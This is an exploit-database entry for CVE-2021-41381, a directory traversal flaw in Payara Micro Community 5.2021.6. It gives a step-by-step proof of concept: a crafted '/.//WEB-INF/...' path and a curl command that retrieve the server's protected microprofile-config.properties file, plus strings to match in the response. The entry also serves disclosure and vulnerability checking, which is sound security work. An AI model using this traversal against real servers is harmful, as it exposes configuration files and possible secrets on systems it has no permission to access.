# Exploit Title: Payara Micro Community 5.2021.6 - Directory Traversal
# Date: 01/10/2021
# Exploit Author: Yasser Khan (N3T_hunt3r)
# Vendor Homepage: https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
# Software Link: https://www.payara.fish/downloads/payara-platform-community-edition/#x
# Version: Payara Micro Community 5.2021.6
# Tested on: Linux/Windows OS
# CVE : CVE-2021-41381

https://nvd.nist.gov/vuln/detail/CVE-2021-41381

Proof of Concept:

Step1: Open the browser check the version of the payara software

Step2: Add this Path at end of the URL
/.//WEB-INF/classes/META-INF/microprofile-config.properties

Step3: Check the response with match containing
"payara.security.openid.default.providerURI="

"payara.security.openid.sessionScopedConfiguration=true"

Step4 : If any of these contents in the response then the application is vulnerable to Directory Traversal Vulnerability.

Step5: Alternatively we can use CURL by using this command:

Request:
curl --path-as-is http://localhost:8080/.//WEB-INF/classes/META-INF/microprofile-config.properties

Reference:

https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt
https://docs.payara.fish/community/docs/release-notes/release-notes-2021-6.html
https://nvd.nist.gov/vuln/detail/CVE-2021-41381